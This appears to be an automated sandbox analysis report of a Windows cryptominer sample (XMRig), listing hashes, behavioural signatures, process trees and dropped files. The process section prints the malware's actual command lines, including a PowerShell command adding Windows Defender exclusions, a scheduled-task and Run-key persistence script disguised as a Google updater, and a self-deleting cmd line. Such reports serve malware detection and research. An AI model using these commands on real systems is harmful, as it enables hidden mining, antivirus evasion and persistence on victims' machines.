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230504-l7mgnabe89 10Analysis
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max time kernel
1800s -
max time network
1801s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
05-05-2023 05:31
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
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Target
qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 760 created 1220 760 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 760 created 1220 760 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 760 created 1220 760 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 760 created 1220 760 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1076 created 1220 1076 updater.exe Explorer.EXE PID 1076 created 1220 1076 updater.exe Explorer.EXE PID 1076 created 1220 1076 updater.exe Explorer.EXE PID 1076 created 1220 1076 updater.exe Explorer.EXE PID 892 created 1220 892 conhost.exe Explorer.EXE PID 1076 created 1220 1076 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/1380-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-145-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-147-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-149-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-151-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-153-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-155-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-157-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-159-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-161-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-163-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1380-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 1492 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1076 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1712 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1380-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-145-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-147-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-149-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-151-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-153-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-155-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-157-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-159-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-161-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-163-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1380-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1076 set thread context of 892 1076 updater.exe conhost.exe PID 1076 set thread context of 1380 1076 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8031e1b7237fd901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 760 qM5GMXBk6hJE6Y5e.exe 760 qM5GMXBk6hJE6Y5e.exe 756 powershell.exe 760 qM5GMXBk6hJE6Y5e.exe 760 qM5GMXBk6hJE6Y5e.exe 1108 powershell.exe 760 qM5GMXBk6hJE6Y5e.exe 760 qM5GMXBk6hJE6Y5e.exe 760 qM5GMXBk6hJE6Y5e.exe 760 qM5GMXBk6hJE6Y5e.exe 568 powershell.exe 1076 updater.exe 1076 updater.exe 840 powershell.exe 1076 updater.exe 1076 updater.exe 1676 powershell.exe 1076 updater.exe 1076 updater.exe 1076 updater.exe 1076 updater.exe 892 conhost.exe 892 conhost.exe 1076 updater.exe 1076 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 756 powershell.exe Token: SeDebugPrivilege 1108 powershell.exe Token: SeDebugPrivilege 568 powershell.exe Token: SeDebugPrivilege 840 powershell.exe Token: SeDebugPrivilege 1676 powershell.exe Token: SeDebugPrivilege 1076 updater.exe Token: SeAssignPrimaryTokenPrivilege 1576 WMIC.exe Token: SeIncreaseQuotaPrivilege 1576 WMIC.exe Token: SeSecurityPrivilege 1576 WMIC.exe Token: SeTakeOwnershipPrivilege 1576 WMIC.exe Token: SeLoadDriverPrivilege 1576 WMIC.exe Token: SeSystemtimePrivilege 1576 WMIC.exe Token: SeBackupPrivilege 1576 WMIC.exe Token: SeRestorePrivilege 1576 WMIC.exe Token: SeShutdownPrivilege 1576 WMIC.exe Token: SeSystemEnvironmentPrivilege 1576 WMIC.exe Token: SeUndockPrivilege 1576 WMIC.exe Token: SeManageVolumePrivilege 1576 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1576 WMIC.exe Token: SeIncreaseQuotaPrivilege 1576 WMIC.exe Token: SeSecurityPrivilege 1576 WMIC.exe Token: SeTakeOwnershipPrivilege 1576 WMIC.exe Token: SeLoadDriverPrivilege 1576 WMIC.exe Token: SeSystemtimePrivilege 1576 WMIC.exe Token: SeBackupPrivilege 1576 WMIC.exe Token: SeRestorePrivilege 1576 WMIC.exe Token: SeShutdownPrivilege 1576 WMIC.exe Token: SeSystemEnvironmentPrivilege 1576 WMIC.exe Token: SeUndockPrivilege 1576 WMIC.exe Token: SeManageVolumePrivilege 1576 WMIC.exe Token: SeLockMemoryPrivilege 1380 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1108 wrote to memory of 584 1108 powershell.exe schtasks.exe PID 1108 wrote to memory of 584 1108 powershell.exe schtasks.exe PID 1108 wrote to memory of 584 1108 powershell.exe schtasks.exe PID 1492 wrote to memory of 1892 1492 cmd.exe choice.exe PID 1492 wrote to memory of 1892 1492 cmd.exe choice.exe PID 1492 wrote to memory of 1892 1492 cmd.exe choice.exe PID 568 wrote to memory of 812 568 powershell.exe schtasks.exe PID 568 wrote to memory of 812 568 powershell.exe schtasks.exe PID 568 wrote to memory of 812 568 powershell.exe schtasks.exe PID 1712 wrote to memory of 1076 1712 taskeng.exe updater.exe PID 1712 wrote to memory of 1076 1712 taskeng.exe updater.exe PID 1712 wrote to memory of 1076 1712 taskeng.exe updater.exe PID 1676 wrote to memory of 1772 1676 powershell.exe schtasks.exe PID 1676 wrote to memory of 1772 1676 powershell.exe schtasks.exe PID 1676 wrote to memory of 1772 1676 powershell.exe schtasks.exe PID 1076 wrote to memory of 892 1076 updater.exe conhost.exe PID 1844 wrote to memory of 1576 1844 cmd.exe WMIC.exe PID 1844 wrote to memory of 1576 1844 cmd.exe WMIC.exe PID 1844 wrote to memory of 1576 1844 cmd.exe WMIC.exe PID 1076 wrote to memory of 1380 1076 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskeng.exetaskeng.exe {6A96C23A-1AD4-42C0-871C-E930C451CEE9} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5a4291195b9fe6f6abe69d3010a9e5c5a
SHA135faff974bfccd5a5a97d05a14fdaa04028ee5d4
SHA2563855f5f152817f1e6a3a86c63d3f501a16ec64c6bb362baceae30207cfe40a5d
SHA512be7c85ed1d708f31647521245b7cff0dce68591b902c82da2dc38ce5af48c5b8beb9d595b8968a2b63ddf7a9d40fbd2f5b1127a79e0023265d659647bac0f7a6
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5a4291195b9fe6f6abe69d3010a9e5c5a
SHA135faff974bfccd5a5a97d05a14fdaa04028ee5d4
SHA2563855f5f152817f1e6a3a86c63d3f501a16ec64c6bb362baceae30207cfe40a5d
SHA512be7c85ed1d708f31647521245b7cff0dce68591b902c82da2dc38ce5af48c5b8beb9d595b8968a2b63ddf7a9d40fbd2f5b1127a79e0023265d659647bac0f7a6
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6ZQ239L2FBQX87Z9RA0E.tempFilesize
7KB
MD5a4291195b9fe6f6abe69d3010a9e5c5a
SHA135faff974bfccd5a5a97d05a14fdaa04028ee5d4
SHA2563855f5f152817f1e6a3a86c63d3f501a16ec64c6bb362baceae30207cfe40a5d
SHA512be7c85ed1d708f31647521245b7cff0dce68591b902c82da2dc38ce5af48c5b8beb9d595b8968a2b63ddf7a9d40fbd2f5b1127a79e0023265d659647bac0f7a6
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/568-84-0x000000000254B000-0x0000000002582000-memory.dmpFilesize
220KB
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memory/568-83-0x0000000002544000-0x0000000002547000-memory.dmpFilesize
12KB
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memory/756-61-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
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memory/756-62-0x00000000027EB000-0x0000000002822000-memory.dmpFilesize
220KB
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memory/756-59-0x000000001B0E0000-0x000000001B3C2000-memory.dmpFilesize
2.9MB
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memory/756-60-0x00000000023E0000-0x00000000023E8000-memory.dmpFilesize
32KB
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memory/760-76-0x000000013FBD0000-0x000000013FDE1000-memory.dmpFilesize
2.1MB
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memory/760-54-0x000000013FBD0000-0x000000013FDE1000-memory.dmpFilesize
2.1MB
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memory/760-74-0x000000013FBD0000-0x000000013FDE1000-memory.dmpFilesize
2.1MB
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memory/840-91-0x00000000012FB000-0x0000000001332000-memory.dmpFilesize
220KB
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memory/840-90-0x00000000012F4000-0x00000000012F7000-memory.dmpFilesize
12KB
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memory/892-112-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/892-105-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1076-88-0x000000013F680000-0x000000013F891000-memory.dmpFilesize
2.1MB
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memory/1076-100-0x000000013F680000-0x000000013F891000-memory.dmpFilesize
2.1MB
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memory/1108-73-0x0000000002530000-0x00000000025B0000-memory.dmpFilesize
512KB
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memory/1108-72-0x0000000002530000-0x00000000025B0000-memory.dmpFilesize
512KB
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memory/1108-71-0x0000000002530000-0x00000000025B0000-memory.dmpFilesize
512KB
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memory/1108-70-0x0000000002530000-0x00000000025B0000-memory.dmpFilesize
512KB
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memory/1108-69-0x00000000022D0000-0x00000000022D8000-memory.dmpFilesize
32KB
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memory/1108-68-0x000000001B190000-0x000000001B472000-memory.dmpFilesize
2.9MB
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memory/1380-103-0x0000000000490000-0x00000000004B0000-memory.dmpFilesize
128KB
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memory/1380-147-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-104-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
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memory/1380-101-0x00000000001C0000-0x00000000001E0000-memory.dmpFilesize
128KB
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memory/1380-165-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-106-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-107-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-109-0x0000000000490000-0x00000000004B0000-memory.dmpFilesize
128KB
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memory/1380-110-0x00000000007F0000-0x0000000000810000-memory.dmpFilesize
128KB
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memory/1380-111-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-163-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-113-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-115-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-117-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-119-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-121-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-123-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-125-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-127-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-131-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-133-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-135-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-137-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-139-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-141-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-143-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-145-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1380-102-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
